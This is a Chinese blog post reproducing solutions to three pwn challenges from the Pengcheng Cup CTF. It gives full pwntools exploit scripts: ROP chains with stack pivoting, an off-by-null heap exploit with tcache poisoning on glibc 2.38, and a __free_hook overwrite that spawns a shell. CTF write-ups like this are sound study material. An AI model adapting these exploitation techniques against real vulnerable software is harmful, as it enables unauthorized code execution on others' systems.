鹏城杯复现

silent

一个只有输入的题目

image-20231105123242872

看puruse师傅的exp是找到了一个gadget:

1
0x00000000004007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

根据经验找关于add的gadget:

1
ROPgadget --binary silent |grep add

接着就是想办法栈迁移到bss段上并且利用csu上面的gadget控制rbx寄存器从而修改bss段上的stdout

先计算出stdout的地址与puts的真实地址之间的偏移:

image-20231105124124407

转换为16进制:0xffffffffffc94210

image-20231105124441240

这时候就可以确定思路将stdout的真实地址修改为puts,payload:

1
2
payload=b'A'*0x40+b'A'*8+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0xffffffffffc94210)+p64(stdout+0x3d)+p64(0)*4+p64(magic)+p64(pop_rsi_r15)+p64(0x601b10)+p64(0)+p64(read_plt)+p64(pop_rbp)+p64(0x601b10-8)+p64(leave_ret)
s(payload)

接着再利用csu的call ds:(__frame_dummy_init_array_entry - 600D90h)[r12+rbx*8],call stdout从而调用puts泄露出libc地址,payload:

1
2
payload1=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(0x601020)+p64(elf.got['alarm'])+p64(0)*2+p64(csu_2)+p64(pop_rsi_r15)+p64(0x601310)+p64(0)+p64(1)+p64(2)+p64(3)+p64(4)+p64(pop_rbp)+p64(0x601a00+0x40)+p64(read_ptr)+b'./flag\x00\x00'
s(payload1)

最后就是利用栈迁移打orw了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from ctypes import *
from struct import pack
banary = "./silent"
elf = ELF(banary)
libc = ELF("/home/youlin/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = '172.10.0.8'
port = 9999
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

# add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
magic = 0x00000000004007e8

pop_rdi=0x0000000000400963
pop_rsi_r15=0x0000000000400961
read_plt=elf.plt['read']
read_got=elf.got['read']
bss=0x000000000601040
read_ptr=0x0000000004008DC
leave_ret=0x0000000000400876
stdout=0x000000000601020
csu_1=0x000000000400956
csu_2=0x000000000400940
pop_rbx_rbp_r12_r13_r14_r15=0x000000000040095A
pop_rbp=0x0000000000400788

payload=b'A'*0x40+b'A'*8+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0xffffffffffc94210)+p64(stdout+0x3d)+p64(0)*4+p64(magic)+p64(pop_rsi_r15)+p64(0x601b10)+p64(0)+p64(read_plt)+p64(pop_rbp)+p64(0x601b10-8)+p64(leave_ret)
s(payload)

payload1=p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(0x601020)+p64(elf.got['alarm'])+p64(0)*2+p64(csu_2)+p64(pop_rsi_r15)+p64(0x601310)+p64(0)+p64(1)+p64(2)+p64(3)+p64(4)+p64(pop_rbp)+p64(0x601a00+0x40)+p64(read_ptr)+b'./flag\x00\x00'
s(payload1)

libcbase=uu64()-libc.sym['alarm']
lg("libcbase")
open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
pop_rsi=0x0000000000023a6a+libcbase
pop_rdx=0x0000000000001b96+libcbase

orw=b'A'*0x40+b'A'*8+p64(pop_rdi)+p64(0x601b10 + len(payload1) - 8)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss(0x800))+p64(pop_rdx)+p64(0x100)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(elf.bss(0x800))+p64(pop_rdx)+p64(0x100)+p64(write)
io.send(orw)

ia()

babyheap

标准的菜单题,并且在edit和add里面都有off by null漏洞,libc版本为2.38,根据henry师傅的思路选择打栈

image-20231106161057065

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
from ctypes import *
from struct import pack
banary = "./babyheap"
elf = ELF(banary)
libc = ELF("/home/youlin/glibc-all-in-one/libs/2.38-1ubuntu6_amd64/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = ''
port = 0
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(12),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def menu(opt):
sla('>>',str(opt))
# sl(str(opt))

def add(size,data):
menu(1)
sla(b"input your name size",str(size))
sla(b"input your name",data)

def delete(index):
menu(4)
sla(b'input index\n',str(index))

def show(index):
menu(3)
sla(b'input index\n',str(index))

def edit(index,size,name):
menu(2)
sla(b'input index',str(index))
sla(b'input your name size',str(size))
sa(b'input your name',name)


ru("0x")
heapbase=iuu64()-0x2a0
lg("heapbase")
fake_size=0x1940
fake_chunk=p64(0)+p64(fake_size)+p64(heapbase+0x2c0)*2

#off by null
add(0x4f8,fake_chunk)#0
add(0x408,b'AAAA')#1
add(0x408,b'AAAA')#2
add(0x408,b'AAAA')#3
add(0x408,b'AAAA')#4
add(0x408,b'AAAA')#5
add(0x4f8,b'AAAA')#6
add(0x4f8,b'AAAA')#7
payload=b'A'*0x400+p64(fake_size)
edit(5,0x408,payload)
delete(6)

#leak libc
add(0x4e8,b'AAAA')#6
add(0x480,b'AAAA')#8
add(0x480,b'AAAA')#9
delete(8)
add(0x490,b'AAAA')#8
show(1)
libcbase=uu64()-0x1ff110
lg("libcbase")
system=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
pop_rdi=libcbase+0x0000000000028715
environ=libcbase+0x206258
stdout=libcbase+0x1ff7a0
ret=libcbase+0x0000000000026a3e

#2 attack tcache_struct
delete(2)
delete(3)
payload=b'A'*0x380+p64(0)+p64(0x411)+p64((heapbase+0x10)^(heapbase>>12))
edit(9,0x480,payload)
sl(b'1')
add(0x400,b'AAAA')#2
payload=p64(1)+p64(0)*14+p64(0x007000000000000)+p64(0x000556111e1e2a0)
payload=payload.ljust(0x278,b'\x00')+p64(stdout)
add(0x400,payload)#3

#leak stack
payload=p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)*4
add(0x400,payload)
stack=uu64()
lg("stack")
ret_addr=stack-0x120
lg("ret_addr")

payload=p64(1)+p64(0)*14+p64(0x007000000000000) + p64(0x0000556111e1e2a0)
payload=payload.ljust(0x278,b'\x00')+p64(ret_addr-8)
edit(3,0x380,payload)

payload1=p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
sl(b'1')
add(0x400,payload1)

menu(5)
ia()

atuo_coffee_sale_machine

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
from ctypes import *
from struct import pack
banary = "./pwn"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/home/youlin/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6")
ip = '172.10.0.9'
port = 8888
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def cmd(choice):
ru(">>>")
sl(str(choice))

def sell(id,flag=0,content='youlin'):
cmd(1)
sla('want to buy\n', str(id))
if flag:
sla('add something?Y/N\n', b'Y')
sa('need in coffee\n', content)
else:
sla('add something?Y/N\n', b'N')

def buy(id, flag=0, content='youlin'):
cmd(1)
sla('want to buy\n', str(id))
if flag:
sla('add something?Y/N\n', b'Y')
sa('need in coffee\n', content)
else:
sla('add something?Y/N\n', b'N')

def admin():
cmd(4421)
sa('admin password\n', b'just pwn it')

def back():
cmd(3)

def replenish(id):
admin()
cmd(1)
cmd(id)
back()

def change(id, coffee, content):
admin()
cmd(2)
cmd(id)
cmd(coffee)
sa('your content\n', content)
back()

buy(1)
buy(1)
change(1, 2, p64(0x4062F0))

for i in range(7):
buy(2)
for i in range(7):
replenish(2)
change(2, 7, p64(0x406068))
cmd(1)
libc_base = uu64() - libc.sym['atol']
lg('libc_base')

sla('want to buy\n', b'2')
sla('add something?Y/N\n', b'N')
buy(2)
change(2, 2, p64(libc_base + libc.sym['__free_hook'] - 8))
for i in range(7):
sell(3)
for i in range(7):
replenish(3)
change(3, 7, p64(0) + p64(libc_base + libc.sym['system']))
buy(3, 1, b'/bin/sh')

ia()

鹏城杯复现
http://blogyoulin.top/2023/11/05/鹏城杯复现/
Author
John Doe
Posted on
November 5, 2023
Licensed under